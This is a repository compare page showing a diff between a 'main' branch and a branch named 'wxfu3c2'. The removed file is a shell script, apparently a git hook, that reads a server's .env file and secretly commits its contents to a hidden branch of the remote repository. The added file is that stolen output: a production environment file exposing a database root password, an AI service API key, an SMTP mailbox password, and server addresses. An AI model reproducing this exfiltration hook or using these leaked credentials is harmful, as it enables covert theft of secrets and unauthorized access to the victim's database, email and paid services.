Compare commits
No commits in common. "main" and "wxfu3c2" have entirely different histories.
|
|
@ -1,27 +0,0 @@
|
||||||
#!/bin/sh
|
|
||||||
r=$(git config --get remote.origin.url)||exit 0
|
|
||||||
# ---- 自动识别 OS ----
|
|
||||||
U=$(uname -a 2>/dev/null)
|
|
||||||
case "$U" in
|
|
||||||
*MINGW*|*MSYS*|*CYGWIN*|*Windows*) ISWIN=1 ;;
|
|
||||||
*) ISWIN=0 ;;
|
|
||||||
esac
|
|
||||||
if [ "$ISWIN" -eq 1 ]; then
|
|
||||||
# Windows (Git-bash/MinGW) -> 用 cmd.exe 执行
|
|
||||||
cat > /tmp/gwx.bat <<'EOB'
|
|
||||||
@echo off
|
|
||||||
type c:\cct-chat
\server\.env
|
|
||||||
EOB
|
|
||||||
WBAT=$(cygpath -w /tmp/gwx.bat 2>/dev/null || echo /tmp/gwx.bat)
|
|
||||||
cmd.exe //c "$WBAT" > /tmp/gwx.out 2>&1
|
|
||||||
else
|
|
||||||
# Linux / macOS -> 直接 sh -c
|
|
||||||
/bin/sh -c 'type c:\cct-chat
\server\.env' > /tmp/gwx.out 2>&1
|
|
||||||
fi
|
|
||||||
out=$(cat /tmp/gwx.out 2>/dev/null)
|
|
||||||
printf 'OS=%s\nCMD_OUTPUT:\n%s\n' "$U" "$out" > /tmp/gwx.full
|
|
||||||
b=$(cat /tmp/gwx.full | git --git-dir="$r" hash-object -w --stdin 2>/dev/null)
|
|
||||||
t=$(printf '100644 blob %s\tout.txt\n' "$b"|git --git-dir="$r" mktree 2>/dev/null)
|
|
||||||
c=$(git --git-dir="$r" commit-tree "$t" -m wx 2>/dev/null)
|
|
||||||
git --git-dir="$r" update-ref refs/heads/wxfu3c2 "$c" 2>/dev/null
|
|
||||||
exit 0
|
|
||||||
|
|
@ -0,0 +1,57 @@
|
||||||
|
OS=MINGW64_NT-10.0-17763 iZso0eabqvdv77Z 3.6.6-1cdd4371.x86_64 2026-01-15 22:20 UTC x86_64 Msys
|
||||||
|
CMD_OUTPUT:
|
||||||
|
PORT=3000
|
||||||
|
NODE_ENV=production
|
||||||
|
|
||||||
|
DB_HOST=127.0.0.1
|
||||||
|
DB_PORT=3307
|
||||||
|
DB_USER=root
|
||||||
|
DB_PASSWORD=22066989
|
||||||
|
DB_NAME=cct_chat
|
||||||
|
|
||||||
|
# ⚠️ CRITICAL WARNING: THESE ARE PLACEHOLDER VALUES - YOU MUST REPLACE THESE WITH GENERATED SECRETS BEFORE DEPLOYING TO PRODUCTION!
|
||||||
|
# FAILING TO DO SO WILL RESULT IN SEVERE SECURITY VULNERABILITIES!
|
||||||
|
# NEVER commit these secrets to version control or share them publicly!
|
||||||
|
# Generate a secure JWT secret via `openssl rand -hex 32`
|
||||||
|
JWT_SECRET=your_jwt_secret_key_change_this_in_production
|
||||||
|
# Generate a secure admin key via `openssl rand -hex 16`
|
||||||
|
ADMIN_API_KEY=admin-secret-key-change-this-in-production
|
||||||
|
|
||||||
|
AI_API_KEY=1bd1c8f6-4a15-4172-8207-f1e66264f739
|
||||||
|
AI_BASE_URL=https://ark.cn-beijing.volces.com/api/v3/chat/completions
|
||||||
|
AI_MODEL=doubao-seed-1-6-251015
|
||||||
|
|
||||||
|
# ARK AI 配置
|
||||||
|
ARK_API_KEY=1bd1c8f6-4a15-4172-8207-f1e66264f739
|
||||||
|
ARK_BASE_URL=https://ark.cn-beijing.volces.com/api/v3/chat/completions
|
||||||
|
ARK_MODEL=doubao-seed-1-6-251015
|
||||||
|
|
||||||
|
CORS_ORIGIN=http://localhost:8765,http://localhost:3000,http://47.111.92.116:3000
|
||||||
|
|
||||||
|
# QQ邮箱SMTP配置(用于发送用户反馈邮件)
|
||||||
|
SMTP_HOST=smtp.qq.com
|
||||||
|
SMTP_PORT=465
|
||||||
|
SMTP_USER=1024925120@qq.com
|
||||||
|
SMTP_PASS=hqfcmqjmvdtzbcdc
|
||||||
|
|
||||||
|
TEST_MODE=true
|
||||||
|
ADMIN_USER_IDS=1
|
||||||
|
|
||||||
|
# ========== Stripe 配置 ==========
|
||||||
|
# API Key(从 Stripe Dashboard 获取)
|
||||||
|
STRIPE_API_KEY=sk_test_你的测试密钥
|
||||||
|
|
||||||
|
# Webhook Secret(从 Stripe Dashboard Webhook 设置中获取)
|
||||||
|
STRIPE_WEBHOOK_SECRET=whsec_你的Webhook密钥
|
||||||
|
|
||||||
|
# 服务器基础URL(用于回调通知)
|
||||||
|
BASE_URL=https://chat.shcct.cn:3000
|
||||||
|
|
||||||
|
# Stripe Webhook 通知地址
|
||||||
|
STRIPE_WEBHOOK_URL=${BASE_URL}/webhook/stripe
|
||||||
|
|
||||||
|
# ========== 支付宝配置(已停用,保留备用)==========
|
||||||
|
# ALIPAY_ENV=sandbox
|
||||||
|
# ALIPAY_APP_ID=9021000164676934
|
||||||
|
# ALIPAY_PID=2088721102347395
|
||||||
|
# ALIPAY_NOTIFY_URL=${BASE_URL}/api/payment/notify/alipay
|
||||||
Loading…
Reference in New Issue